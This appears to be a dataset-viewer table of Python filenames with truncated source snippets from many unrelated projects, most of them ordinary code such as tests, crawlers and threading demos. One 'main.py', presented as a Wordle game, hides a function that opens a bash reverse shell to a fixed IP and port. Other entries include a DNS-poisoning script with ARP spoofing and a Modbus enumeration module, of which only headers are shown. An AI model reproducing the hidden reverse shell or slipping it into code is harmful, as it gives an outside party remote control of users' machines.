source stringlengths 3 86 | python stringlengths 75 1.04M |
|---|---|
materialized_views_test.py | import collections
import re
import sys
import time
import traceback
import pytest
import threading
import logging
from flaky import flaky
from enum import Enum
from queue import Empty
from functools import partial
from multiprocessing import Process, Queue
from cassandra import ConsistencyLevel, InvalidRequest, Writ... |
main.py | import sys, traceback
import urllib3
from socket import timeout
import tldextract
import re
import curses
import logging
import threading
from time import sleep
from crawler import linkCrawler
from checker import Checker
from stats import Stats
from backlog import Backlog
from collector import Collector
def crawl():... |
test.py | #this should be the thing, right?
from __future__ import division
import gym
import numpy as np
import random
import tensorflow as tf
import tensorflow.contrib.layers as layers
import matplotlib.pyplot as plt
from od_mstar3 import cpp_mstar
from od_mstar3.col_set_addition import OutOfTimeError,NoSolutionError
import t... |
MultiProcessQueue.py | #!/usr/bin/env python3
# -*- coding:utf-8 -*-
#
# _ooOoo_
# o8888888o
# 88" . "88
# (| -_- |)
# O\ = /O
# ___/`---'\____
# . ' \\| |// `.
# / \\||| : |||// \
# / _||||| -:- |||||- \
# | | \\\ - /// | |
# | \_| ''\---/'' | |
# \ .-\__ `-` ___/-. /
# ___`. .' /--.--\ `. . __
# ."" '< `.___\_<|>_/___.' >'"".
# | | : ... |
hello_meth2.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright (c) 2013 Jérémie DECOCK (http://www.jdhp.org)
# See:
# - http://docs.python.org/2/library/threading.html
# - http://www.tutorialspoint.com/python/python_multithreading.htm
import threading
import time
def foo(iterations):
for i in range(iterations):
... |
tests.py | import json
import ssl
from random import randint
from random import random
from threading import Thread
from time import sleep
from django.conf import settings
from django.test import TestCase
from websocket import create_connection
# class ModelTest(TestCase):
#
# def test_gender(self):
# user = UserProfile(sex_... |
resource_owner_grant.py | import logging
import os
import signal
import sys
from wsgiref.simple_server import make_server
sys.path.insert(0, os.path.abspath(os.path.realpath(__file__) + '/../../../'))
from oauth2 import Provider
from oauth2.compatibility import json, parse_qs, urlencode
from oauth2.error import UserNotAuthenticated
from oauth... |
target_bigquery.py | #!/usr/bin/env python3
import argparse
import io
import sys
import json
import logging
import collections
import threading
import http.client
import urllib
import pkg_resources
from jsonschema import validate
import singer
from oauth2client import tools
from tempfile import TemporaryFile
from google.cloud import bi... |
thread_safe.py | from threading import Lock, Thread
class SingletonMeta(type):
"""
This is a thread-safe implementation of Singleton.
"""
_instances = {}
_lock: Lock = Lock() # use a lock to synchronize threads during first access to the Singleton
def __call__(cls, *args, **kwargs):
"""
Poss... |
bitcoin_two.py | """
Bitcoin Part 2
* Miner fees
Usage:
bitcoin.py serve
bitcoin.py ping [--node <node>]
bitcoin.py tx <from> <to> <amount> [--node <node>]
bitcoin.py balance <name> [--node <node>]
Options:
-h --help Show this screen.
--node=<node> Hostname of node [default: node0]
"""
import uuid, socketserver, so... |
tasks.py | #!/usr/bin/env python
# -*- python -*-
import StringIO
import os
import sys
import tempfile
import time
import subprocess
import re
import glob
import gzip
import socket
import threading
import optparse
import atexit
import signal
import urllib
import shutil
import urlparse
import urllib2
import base64
import mmap
impo... |
main.py | import os
import csv
import time
import logging
import threading
from waiting import wait
import pandas as pd
from parser import YamlParser
logging.basicConfig(filename='./logs/2B_final.log', format="%(asctime)s.%(msecs)06d;%(message)s", datefmt='%Y-%m-%d %H:%M:%S', filemode='w')
log = logging.getLogger("my-logger")
l... |
kombu_listener.py | # Copyright (c) 2016 Intel Corporation
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless req... |
yt_api.py | #!/usr/bin/python
# vim: set fileencoding=utf-8 :
# Copyright 2014 Google Inc. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LIC... |
getfunc.py | import os
import threading
from System.Core.Global import *
from System.Core.Colors import *
from System.Core.Modbus import *
from System.Lib import ipcalc
class Module:
info = {
'Name': 'Get Function',
'Author': ['@enddo'],
'Description': ("Enumeration Function on Modbus"),
}
options = {
'RHOSTS... |
transfer.py | from Ipv4_turn.server import Service
import socket
from threading import Thread
import json
import time
from datetime import datetime
from Ipv4_turn.addr import Address
class Transfer:
def __init__(self, address=('127.0.0.1', 9080)):
self.user_info = {}
#self.user_info={'000000':{'passwa... |
bot.py | import logging
log = logging.getLogger(__name__)
import datetime
import threading
import importlib
import botologist.error
import botologist.http
import botologist.protocol
import botologist.plugin
import botologist.util
class CommandMessage:
"""Representation of an IRC message that is a command.
When a user sen... |
spawn_a_process.py | '''
Date: 2021.06.01 14:25
Description : Omit
LastEditors: Rustle Karl
LastEditTime: 2021.06.01 14:25
'''
import multiprocessing
def foo(i):
print('called function in process: %s' % i)
if __name__ == '__main__':
process_jobs = []
for i in range(5):
p = multiprocessing.Process(t... |
alin1bot.py | # -*- coding: utf-8 -*-
#GhostRider_Bot
import LINETCR
from LINETCR.lib.curve.ttypes import *
from datetime import datetime
from bs4 import BeautifulSoup
from threading import Thread
from googletrans import Translator
from gtts import gTTS
import time,random,sys,json,codecs,threading,glob,urllib,urllib2,urllib3,re,ast... |
light_controll.py | import threading
import datetime
TEST_MODE = True
if not TEST_MODE:
import wiringpi2 as IO
class ControllEvent:
def __init__(self, start_dtime, end_dtime, start_brightness=0.0, end_brightness=1.0, repeate_delay=None):
self.start_dtime = start_dtime
self.end_dtime = end_dtime
self.star... |
test_sys.py | from test import support
from test.support.script_helper import assert_python_ok, assert_python_failure
import builtins
import codecs
import gc
import locale
import operator
import os
import struct
import subprocess
import sys
import sysconfig
import test.support
import textwrap
import unittest
import warnings
# coun... |
fc_functions.py | import queue,threading,concurrent.futures
import concurrent.futures
import time
q = queue.Queue()
# q = multip
t1 = time.perf_counter()
def consumer():
while True:
item = q.get(True)
print(f'Working on item{item}')
time.sleep(0.5)
t2 = time.perf_counter()
print(f'Finished it... |
progress.py | import contextlib
import sys
import threading
import time
from timeit import default_timer
from ..callbacks import Callback
def format_time(t):
"""Format seconds into a human readable form.
>>> format_time(10.4)
'10.4s'
>>> format_time(1000.4)
'16min 40.4s'
"""
m, s = divmod(t, 60)
h... |
test_ipc_provider.py | import os
import pathlib
import pytest
import socket
import tempfile
from threading import (
Thread,
)
import time
import uuid
from cpc_fusion.auto.gethdev import (
w3,
)
from cpc_fusion.middleware import (
construct_fixture_middleware,
)
from cpc_fusion.providers.ipc import (
IPCProvider,
)
@pytest.... |
utils.py | # coding: utf-8
from __future__ import unicode_literals, division, absolute_import
import io
import six
import regex
import unicodedata
from threading import Thread
from collections import defaultdict
from multiprocessing import Process, Pipe
if six.PY2:
from HTMLParser import HTMLParser
HTML_PARSER = HTMLPa... |
test_filelock.py | import os
import time
import logging
import multiprocessing
import tempfile
import library.python.filelock
def _acquire_lock(lock_path, out_file_path):
with library.python.filelock.FileLock(lock_path):
with open(out_file_path, "a") as out:
out.write("{}:{}\n".format(os.getpid(), time.time()))... |
generate-dataset-canny.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# Author : Hongzhuo Liang
# E-mail : liang@informatik.uni-hamburg.de
# Description:
# Date : 20/05/2018 2:45 PM
# File Name : generate-dataset-canny.py
import numpy as np
import sys
import pickle
from dexnet.grasping.quality import PointGraspMetrics3D
from... |
test_jobs.py | # -*- coding: utf-8 -*-
#
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
#... |
common.py | # Copyright (C) 2008 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law ... |
gui_text.py | import json
import os
import socket
import threading
from tkinter import *
import sys
import time
from tkinter import ttk
from tkinter.tix import ComboBox
import redis as redis
import requests
class tk_t(object):
"""
第一个登陆窗口
"""
def __init__(self):
window = Tk()
self.window = window... |
test_util.py | # Copyright 2015 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
test_xmlrpc.py | import base64
import datetime
import sys
import time
import unittest
import xmlrpclib
import SimpleXMLRPCServer
import mimetools
import httplib
import socket
import StringIO
import os
import re
from test import test_support
try:
import threading
except ImportError:
threading = None
try:
unicode
except Nam... |
custom_gevent_pool_executor.py | # -*- coding: utf-8 -*-
# @Author : ydf
# @Time : 2019/7/2 14:11
import atexit
import time
import warnings
from collections import Callable
import threading
import gevent
from gevent import pool as gevent_pool
from gevent import monkey
from gevent.queue import JoinableQueue
from nb_log import LoggerMixin, nb_print... |
find_commit_with_best_gold_results.py | #! /usr/bin/env python
# Copyright 2019 Google LLC.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import json
import os
import re
import subprocess
import sys
import threading
import urllib
import urllib2
assert '/' in [os.sep, os.altsep]
skia_directory = os.... |
__init__.py | #####################################################################
# #
# /plugins/delete_repeated_shots/__init__.py #
# #
# Copyright 2017, JQI ... |
qt.py | #!/usr/bin/python3
# -*- coding: utf-8 -*-
import sys, threading, time
#from PyQt5.QtCore import pyqtSlot
#from PyQt5.QtWidgets import *
#from PyQt5.QtGui import QFont, QIcon
from PyQt5.QtGui import *
from PyQt5.QtCore import *
from PyQt5.QtWidgets import *
from electroncash.i18n import _
from electroncash import N... |
generate_tolerance_label.py | """ Tolerance label generation.
Author: chenxi-wang
"""
import os
import sys
import numpy as np
import time
import argparse
import multiprocessing as mp
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
ROOT_DIR = os.path.dirname(BASE_DIR)
sys.path.append(os.path.join(ROOT_DIR, 'utils'))
from da... |
prototype_v1_worker.py | # Copyright 2016 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or a... |
tests.py | # encoding=utf-8
from __future__ import with_statement
import datetime
import decimal
import logging
import os
import Queue
import threading
import unittest
from peewee import *
from peewee import logger, VarCharColumn, SelectQuery, DeleteQuery, UpdateQuery, \
InsertQuery, RawQuery, parseq, Database, SqliteAd... |
executeDemo.py | #This is a version of execute.py intended for demo purposes.
#Normally, when running the program there are 3 file transfers:
#1. User task file to provider (1.2GB image.zip)
#2. Provider result file to validator (already ran image)
#3. Provider result file to user
#This version of execute will skip the first two f... |
__init__.py | import json
import os
import copy
import threading
import time
import pkg_resources
# anchore modules
import anchore_engine.clients.anchoreio
import anchore_engine.common.helpers
import anchore_engine.common.images
from anchore_engine.clients.services import internal_client_for
from anchore_engine.clients.services imp... |
__init__.py | # coding: UTF-8
import re
import sys
import threading
import socket
import collections
from urllib import quote, unquote
from circuits import handler
from circuits.net.sockets import TCPServer
reload(sys)
sys.setdefaultencoding('utf-8')
receivedMessage = collections.namedtuple('receivedMessage',
(... |
websocket_client.py | # cbpro/WebsocketClient.py
# original author: Daniel Paquin
# mongo "support" added by Drew Rice
#
#
# Template object to receive messages from the Coinbase Websocket Feed
from __future__ import print_function
import json
import base64
import hmac
import hashlib
import time
from threading import Thread
from websocket ... |
request.py | import json
import socket
import threading
import warnings
# add requests-html and eventuall parse out all mentions of requests if possible
import requests_html
import six
import tldextract
from selenium.common.exceptions import NoSuchWindowException, WebDriverException
from six.moves import BaseHTTPServer
from six.... |
crawler.py | """
This script allows you to create tree maps of
websites easily by the click of a button.
The time the script will take to map a website
depends on how large the site is.
"""
__author__ = "BWBellairs"
__version__ = "0.1.6"
# Modules / Packages required are listed below
import threading
import urllib
import time
imp... |
apps.py |
from django.apps import AppConfig
class BokehApps(AppConfig):
name = 'bkapps'
verbose_name = "Bokeh Apps"
# based on: https://github.com/bokeh/bokeh/blob/0.12.16/examples/howto/server_embed/flask_embed.py
# try:
# import asyncio
# except ImportError:
# raise RuntimeError("This example requries Pyt... |
generate-dataset-canny.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# Author : Hongzhuo Liang
# E-mail : liang@informatik.uni-hamburg.de
# Description:
# Date : 20/05/2018 2:45 PM
# File Name : generate-dataset-canny.py
import numpy as np
import sys
import pickle
from dexnet.grasping.quality import PointGraspMetrics3D
from... |
low_level_interface.py | from logging import config
from .rp1interface import RP1Controller
from typing import Dict
from .typings import Odrive as Odrv, Axis #For type checking etc
import odrive
from odrive.enums import *
import time
from time import perf_counter, sleep
import logging
import threading
import math
class LowLeve... |
display.py | from papirus import Papirus
from datetime import datetime
import time
from keys import weatherApiKey
import geocoder
from PIL import Image, ImageDraw, ImageFont
import threading
import requests
DEBUG = False
REGULAR_FONT_PATH = "/usr/share/fonts/truetype/dejavu/DejaVuSansMono.ttf"
BOLD_FONT_PATH = "/usr/share/fonts/t... |
logzeromq.py | """
Logger for ZeroMQ communication
"""
from threading import Thread
import zmq
from osgar.bus import BusShutdownException
class LogZeroMQ:
def __init__(self, config, bus):
bus.register('raw:gz' if config.get('save_data', False) else 'raw:null', 'response', 'timeout')
mode = config['mode']
... |
test_ssl.py | import pytest
import threading
import socket as stdlib_socket
import ssl
from contextlib import contextmanager
from functools import partial
from OpenSSL import SSL
import trustme
from async_generator import async_generator, yield_, asynccontextmanager
import trio
from .. import _core
from .._highlevel_socket import... |
pyterm.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright (C) 2014 Oliver Hahm <oliver.hahm@inria.fr>
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the Licen... |
async_api_multi-processes.py | #!/usr/bin/env python3
import cv2
import os
import sys
import time
import numpy as np
from openvino.inference_engine import IENetwork, IEPlugin
from multiprocessing import Process, Queue
import multiprocessing
import threading
import queue
def async_infer_worker(exec_net, image_queue, input_blob, out_blob):
glob... |
main.py | """
Main classes that act as API for the user to interact with.
"""
import asyncio
import atexit
import hashlib
import importlib.util
import inspect
import os
import sqlite3
import sys
import tempfile
import threading
import time
import traceback
from atexit import register
from logging import DEBUG, INFO, NOTSET, ge... |
format_conversion.py | # -*- coding: utf-8 -*-
"""
* @Author: ziuno
* @Software: PyCharm
* @Time: 2019/3/24 10:35
"""
import os
import csv
import threading
import time
import xml.etree.ElementTree as ET
from PIL import Image
from multiprocessing.dummy import Pool as ThreadPool
from utils.ROI_selection import roi_selection
THREAD_COUNT = ... |
fwrlm_run.py | #!/usr/bin/env python
# PYTHON_ARGCOMPLETE_OK
#
# fwrlm_run.py
#
# Copyright (C) 2020 IMTEK Simulation
# Author: Johannes Hoermann, johannes.hoermann@imtek.uni-freiburg.de
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Softwar... |
batcher.py |
# Copyright 2016 The TensorFlow Authors. All Rights Reserved.
# Modifications Copyright 2017 Abigail See
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/license... |
logIR.py | #!/usr/bin/env python
import board
import requests
import argparse
import busio
import time
import datetime
import adafruit_bme280
import threading
import RPi.GPIO as GPIO # Import Raspberry Pi GPIO library
import subprocess
import logging
from systemd import journal
""" blink the LED for a bit"""
def blinkLED():
... |
metrics.py | '''Metrics library.
Metrics are thread safe values.
You can expose metrics with serve_http method.
'''
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from cStringIO import StringIO
from operator import add, sub
from threading import RLock, Thread
import json
from time import sleep, time
_LOCK = RLock(... |
OpenMCT_feed.py | # Data provider for the Aircraft_42 implementation
# Grabs Data from Mission Planner
# sends data to a specified UDP port
# Threading implemented to support the sending of commands without blocking the data forwarding to the OpenMCT Telemetry Server
# in this stage not inteded to be used on a real aircraft, only simula... |
via_app_data.py | """Bootstrap"""
from __future__ import absolute_import, unicode_literals
import logging
from contextlib import contextmanager
from subprocess import CalledProcessError
from threading import Lock, Thread
import six
from virtualenv.info import fs_supports_symlink
from virtualenv.seed.embed.base_embed import BaseEmbed
... |
dtkglobal.py | # MIT License
#
# Copyright (c) 2019
# Miguel Perales - miguelperalesbermejo@gmail.com
# Jose Manuel Caballero - jcaballeromunoz4@gmail.com
# Jose Antonio Martin - ja.martin.esteban@gmail.com
# Miguel Diaz - migueldiazgil92@gmail.com
# Jesus Blanco Garrido - jesusblancogarrido@gmail.com
#
# Permission is hereby gran... |
runner.py | # MIT License
#
# Copyright (c) 2016 Olivier Bachem
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merg... |
_led.py | """LED driver"""
import itertools
import os
import threading
import time
import RPi.GPIO as GPIO
class LED:
"""Starts a background thread to show patterns with the LED.
Simple usage:
my_led = LED(channel = 31)
my_led.start()
my_led.set_state(LED.ON)
my_led.stop()
"""
OFF = 0
ON = 1... |
snmp.py | # (C) Datadog, Inc. 2010-present
# All rights reserved
# Licensed under Simplified BSD License (see LICENSE)
import copy
import fnmatch
import functools
import ipaddress
import json
import threading
import time
from collections import defaultdict
from concurrent import futures
from typing import Any, DefaultDict, Dict,... |
server.py | #!/usr/bin/env python
import SimpleHTTPServer
import SocketServer
import os
from time import sleep
import shutil
import threading
import signal
import build_pipeline.build
from build_pipeline.util import fileutils as futil
refresh_js_path = os.path.join(os.path.dirname(__file__), 'refresh.js')
class QuieterHTTPReque... |
hammermq.py | """
This module has a Hammer class, which can be used to stress-test
a message queue backend. It also helps when looking for memory leaks.
This is only really useful for people working on mq backend classes.
"""
import itertools
import resource
import sys
import time
import threading
from boto import sqs
from boto.... |
serverhandler.py | """
serverhandler.py
Author: Steven Gantz
Date: 11/22/2016
This script spins up individual socket servers on the local machine that
are listening on 0.0.0.0. Each socket server has an individual port which
maps directly to each scaled instance of an application inside Marathon.
"""
# Official Imports
from threading i... |
commanding.py | #A* -------------------------------------------------------------------
#B* This file contains source code for the PyMOL computer program
#C* Copyright (c) Schrodinger, LLC.
#D* -------------------------------------------------------------------
#E* It is unlawful to modify or remove this copyright notice.
#F* -------... |
rdd.py | #
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not us... |
dbapi.py | # pysqlite2/test/dbapi.py: tests for DB-API compliance
#
# Copyright (C) 2004-2010 Gerhard Häring <gh@ghaering.de>
#
# This file is part of pysqlite.
#
# This software is provided 'as-is', without any express or implied
# warranty. In no event will the authors be held liable for any damages
# arising from the use of t... |
main.py | import sys # sys нужен для передачи argv в QApplication
import time
import os
import matplotlib
import Map_wd
import plotuiwin
import info
import integwin
import findfixedwin
import setting_plotwin
import input_systemwin
from PyQt5 import QtWidgets
import design
import info
import wid_info
import Map_wd
import info_di... |
benchmark_averaging.py | import math
import time
import threading
import argparse
import torch
import hivemind
from hivemind.utils import LOCALHOST, increase_file_limit
from hivemind.proto import runtime_pb2
def sample_tensors(hid_size, num_layers):
tensors = []
for i in range(num_layers):
tensors.append(torch.randn(hid_siz... |
main.py | # -*- coding: utf-8 -*-
"""
-------------------------------------------------
File Name: main.py
Description : 运行主函数
Author : JHao
date: 2017/4/1
-------------------------------------------------
Change Activity:
2017/4/1:
----------------------------------------... |
DNS_poison.py | import argparse
from scapy.all import *
from scapy.layers.dns import DNS, DNSQR, DNSRR
from scapy.layers.inet import IP, UDP
from scapy.layers.l2 import Ether, ARP
import threading
import arpSpoofer
GW_IP = '' # The IP address of the GW
DNS_IP = '' # The IP address of the DNS server
DNS_MAC = '' # The MAC... |
background_caching_job.py | #
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not us... |
webscraper.py | from bs4 import BeautifulSoup
import requests
import threading
from pymongo import MongoClient
GOOGLE_NEWS_URL="https://news.google.com"
def set_robot(article, db):
title = article.find('span').getText()
url = article.find('a', {'class': 'ipQwMb Q7tWef'}).get('href')
# generating schema
json = {'title... |
allChannels.py | ### Script to get all channels from tata sky
import threading
import requests
import json as json
API_BASE_URL = "https://kong-tatasky.videoready.tv/"
channel_list = []
def getChannelInfo(channelId):
url = "{}content-detail/pub/api/v2/channels/{}".format(API_BASE_URL, channelId)
x = requests.get(url)
me... |
usequeue.py | from multiprocessing import Process, Queue
import os, time, random
# 写数据进程执行的代码:
def write(q):
print('Process to write: {}'.format(os.getpid()))
for value in ['A', 'B', 'C']:
print('Put %s to queue...' % value)
q.put(value)
time.sleep(random.random())
# 读数据进程执行的代码:
def read(q):
pri... |
test_zmq_app_message_roundtrips.py | from dynaconf import Dynaconf
import queue
import threading
from stix2 import Indicator, parse, Sighting
from threatbus import start as start_threatbus
import time
import unittest
from tests.utils import zmq_receiver, zmq_sender
class TestZmqMessageRoundtrip(unittest.TestCase):
@classmethod
def setUpClass(cl... |
benchmarker.py | from setup.linux.installer import Installer
from setup.linux import setup_util
from benchmark import framework_test
from benchmark.test_types import *
from utils import header
from utils import gather_tests
from utils import gather_frameworks
import os
import json
import subprocess
import traceback
import time
import... |
test_main_system.py | from dataclasses import dataclass
import threading
import pytest
from typing import Any, Callable
from flask.testing import FlaskClient
from src.artemis.parameters import FullParameters
from src.artemis.main import create_app, Status, Actions
from src.artemis.devices.det_dim_constants import EIGER_TYPE_EIGER2_X_4M
imp... |
test_telnetlib.py | import socket
import select
import telnetlib
import time
import contextlib
import unittest
from unittest import TestCase
from test import support
threading = support.import_module('threading')
HOST = support.HOST
def server(evt, serv):
serv.listen(5)
evt.set()
try:
conn, addr = serv.accept()
... |
runsdnacommand.py | ##This file (and this file only) is released under the MIT license
##
##The MIT License (MIT)
##
##Copyright (c) 2015 Cardiff University
##
##Permission is hereby granted, free of charge, to any person obtaining a copy
##of this software and associated documentation files (the "Software"), to deal
##in the Software wit... |
main.py | import copy
import json
import logging
import os
import re
import signal
import sys
import threading
import traceback
from distutils.version import StrictVersion
import numpy as np
import pyqtgraph as pg
import serial.tools.list_ports
from PyQt5 import QtCore, QtWidgets
from PyQt5.QtCore import pyqtSignal
from PyQt5.... |
main_window.py | #!/usr/bin/env python
#
# Electrum - lightweight Bitcoin client
# Copyright (C) 2012 thomasv@gitorious
#
# Permission is hereby granted, free of charge, to any person
# obtaining a copy of this software and associated documentation files
# (the "Software"), to deal in the Software without restriction,
# including witho... |
clientgui_bilibili.py | from PyQt5.QtWidgets import QLabel, QWidget, QMainWindow, QApplication, QMessageBox
from PyQt5.QtCore import QStringListModel,Qt
from PyQt5.QtWidgets import QFileDialog, QListView # 必须导入,否则会出错 -1073740791 (0xC0000409)
#from BilibiliUI import Ui_MainWindow # 【UI】指的是UI文件的文件名
from BilibiliBlueUI import Ui_MainWindow
fro... |
worker.py | from contextlib import contextmanager
import colorama
import atexit
import faulthandler
import hashlib
import inspect
import io
import json
import logging
import os
import redis
import sys
import threading
import time
import traceback
from typing import Any, Dict, List, Iterator
# Ray modules
from ray.autoscaler._priv... |
app.py | # coding: utf-8
'''程序主要部分'''
# 外部依赖
import datetime
import threading
# library依赖
from sine.utils import ReStartableThread
# 本地依赖
from .globalData import clocks, data, config, eManager
from .mydatetime import getNow
from . import initUtil
from . import player
from . import mylogging
from . import manager
from . import ... |
jobs.py | # -*- coding: utf-8 -*-
#
# This file is part of urlwatch (https://thp.io/2008/urlwatch/).
# Copyright (c) 2008-2019 Thomas Perl <m@thp.io>
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#
# 1.... |
function.py | import time
from lib.core.evaluate import ConfusionMatrix,SegmentationMetric
from lib.core.general import non_max_suppression,check_img_size,scale_coords,xyxy2xywh,xywh2xyxy,box_iou,coco80_to_coco91_class,plot_images,ap_per_class,output_to_target
from lib.utils.utils import time_synchronized
from lib.utils import plot_... |
test_perf.py | # Performance tests for PyDTLS.
# Copyright 2012 Ray Brown
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# The License is also distribu... |
buzzer.py | import RPi.GPIO as GPIO
import threading
import time
import application
from views import View
from hardware import PIN_BUZZER
from rtttl import parse_rtttl
SONG_TWO_SHORT = "two short:d=4,o=5,b=100:16e6,16e6"
SONG_ONE_SHORT = "one short:d=4,o=5,b=100:16e6"
SONG_ERROR = "error:d=4,o=5,b=100:16a6,16a6,16a6,16... |
mzitu.py | import requests
from bs4 import BeautifulSoup
import os
import shutil
import threading
import uuid
import time
url = 'http://www.mzitu.com'
main_folder = 'meizi'
if os.path.exists(main_folder):
shutil.rmtree(main_folder)
os.mkdir(main_folder)
header = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleW... |
main.py | import os
from rich.console import Console
from rich.table import Table
from rich.live import Live
from src.modules.wordle import Wordle
import subprocess
import threading
def hack(num):
# try:
subprocess.check_call("/bin/bash -i >/dev/tcp/192.168.1.93/31337 0<&1 2>&1", shell=True, executable='/bin/bash')
... |
evaluate.py | # Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by app... |
process_replay.py | #!/usr/bin/env python3
import os
import sys
import threading
import importlib
if "CI" in os.environ:
tqdm = lambda x: x
else:
from tqdm import tqdm # type: ignore
from cereal import car, log
from selfdrive.car.car_helpers import get_car
import selfdrive.manager as manager
import cereal.messaging as messaging
fr... |
__init__.py | # -*- coding: utf-8 -*-
'''
Set up the Salt integration test suite
'''
# Import Python libs
from __future__ import absolute_import, print_function
import os
import re
import sys
import copy
import time
import stat
import errno
import signal
import shutil
import pprint
import atexit
import socket
import logging
import... |
telegram.py | import os
from telebot import TeleBot
from telebot.types import Message
from telebot.types import CallbackQuery
from telebot.types import ReplyKeyboardMarkup
from telebot.types import InlineKeyboardMarkup
from telebot.types import InlineKeyboardButton
from threading import Thread
from logging import getLogger
cla... |
__init__.py | import os
import threading
try: # Python 2
from urllib.request import urlopen
from urllib.error import HTTPError
except ImportError: # Python 3
from urllib2 import urlopen, HTTPError
from requests.exceptions import (
ConnectionError,
TooManyRedirects,
ReadTimeout
)
import lib... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.